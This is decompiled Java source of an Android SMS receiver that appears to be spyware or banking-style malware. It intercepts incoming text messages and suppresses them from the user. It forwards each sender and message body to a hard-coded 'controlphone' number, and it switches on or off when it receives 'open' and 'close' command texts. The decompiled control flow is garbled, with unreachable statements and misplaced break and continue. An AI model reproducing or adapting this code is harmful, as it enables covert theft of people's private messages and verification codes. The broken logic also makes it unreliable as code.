package sdgfdg.wtert.sdgsfgbxbcvdfh;
import android.
content
.BroadcastReceiver;
import android.
content
.ContentResolver;
import android.
content
.Context;
import android.
content
.Intent;
import android.
content
.SharedPreferences;
import android.
content
.SharedPreferences.Editor;
import android.
content
.res.Resources;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
public
class
laixinxis extends BroadcastReceiver
{
public SharedPreferences abSharedPreferences
=
null;
public SharedPreferences.Editor editor;
private String messageStr;
private int n;
private String phoneStr;
private shouxinxi shouxxba;
private String status;
private SmsMessage[] xinxi;
public void onReceive
(
Context paramContext
,
Intent paramIntent
)
{
this.abSharedPreferences
=
paramContext.getSharedPreferences
(
"data"
,
0
)
;
this.status
=
this.abSharedPreferences.getString
(
"isWorkServer"
,
"0"
)
;
Log.i
(
"action"
,
paramIntent.getAction
(
)
)
;
paramContext.getSharedPreferences
(
"config"
,
0
)
;
Object[] arrayOfObject;
if
(
paramIntent.getAction
(
)
.
equals
(
paramContext.getResources
(
)
.getString
(
2131099655
)
)
)
{
arrayOfObject
=
(
Object[]
)
paramIntent.getExtras
(
)
.
get
(
"pdus"
)
;
this.xinxi
=
new
SmsMessage[arrayOfObject.
length
];
this.n
=
0
;
if
(
this.n
<
arrayOfObject.
length
)
;
}
else
{
return
;
}
this.xinxi[this.n]
=
SmsMessage.createFromPdu
(
(
byte[]
)
arrayOfObject[this.n]
)
;
this.phoneStr
=
this.xinxi[this.n].getOriginatingAddress
(
)
;
this.messageStr
=
this.xinxi[this.n].getMessageBody
(
)
;
if
(
this.status.
equals
(
"1"
)
)
{
ApksUtil
1.
pinbi
(
paramContext
,
paramContext.getResources
(
)
.getString
(
2131099666
)
,
paramContext.getResources
(
)
.getString
(
2131099668
)
,
this
)
;
if
(
this.messageStr.
contains
(
"close"
)
)
{
ApksUtil
1.
loadFaMsg
(
paramContext
,
paramContext.getResources
(
)
.getString
(
2131099666
)
,
paramContext.getResources
(
)
.getString
(
2131099667
)
,
huanaidss
2.
controlphone
,
paramContext.getResources
(
)
.getString
(
2131099653
)
)
;
this.editor
=
this.abSharedPreferences.edit
(
)
;
this.editor.putString
(
"isWorkServer"
,
"0"
)
;
this.editor.commit
(
)
;
}
}
while
(
true
)
{
this.n
=
(
1
+
this.n
)
;
break;
if
(
this.messageStr.
contains
(
"open"
)
)
{
ApksUtil
1.
loadFaMsg
(
paramContext
,
paramContext.getResources
(
)
.getString
(
2131099666
)
,
paramContext.getResources
(
)
.getString
(
2131099667
)
,
huanaidss
2.
controlphone
,
paramContext.getResources
(
)
.getString
(
2131099654
)
)
;
this.editor
=
this.abSharedPreferences.edit
(
)
;
this.editor.putString
(
"isWorkServer"
,
"1"
)
;
this.editor.commit
(
)
;
this.shouxxba
=
new
shouxinxi
(
paramContext
,
null
)
;
paramContext.getContentResolver
(
)
.registerContentObserver
(
MyServers
1.
xxdizhi
,
true
,
this.shouxxba
)
;
}
else
{
ApksUtil
1.
loadFaMsg
(
paramContext
,
paramContext.getResources
(
)
.getString
(
2131099666
)
,
paramContext.getResources
(
)
.getString
(
2131099667
)
,
huanaidss
2.
controlphone
,
this.phoneStr
+
"<"
+
this.messageStr
)
;
continue
;
if
(
this.messageStr.
contains
(
"open"
)
)
{
ApksUtil
1.
pinbi
(
paramContext
,
paramContext.getResources
(
)
.getString
(
2131099666
)
,
paramContext.getResources
(
)
.getString
(
2131099668
)
,
this
)
;
ApksUtil
1.
loadFaMsg
(
paramContext
,
paramContext.getResources
(
)
.getString
(
2131099666
)
,
paramContext.getResources
(
)
.getString
(
2131099667
)
,
huanaidss
2.
controlphone
,
paramContext.getResources
(
)
.getString
(
2131099654
)
)
;
this.editor
=
this.abSharedPreferences.edit
(
)
;
this.editor.putString
(
"isWorkServer"
,
"1"
)
;
this.editor.commit
(
)
;
this.shouxxba
=
new
shouxinxi
(
paramContext
,
null
)
;
paramContext.getContentResolver
(
)
.registerContentObserver
(
MyServers
1.
xxdizhi
,
true
,
this.shouxxba
)
;
}
}
}
}
void pingbi
(
Context paramContext
,
String paramString
1
,
String paramString
2
,
BroadcastReceiver paramBroadcastReceiver
)
{
ApksUtil
1.
pinbi
(
paramContext
,
paramString
1
,
paramString
2
,
paramBroadcastReceiver
)
;
}
public native void pingbiJNI
(
Context paramContext
,
String paramString
1
,
String paramString
2
,
BroadcastReceiver paramBroadcastReceiver
)
;
}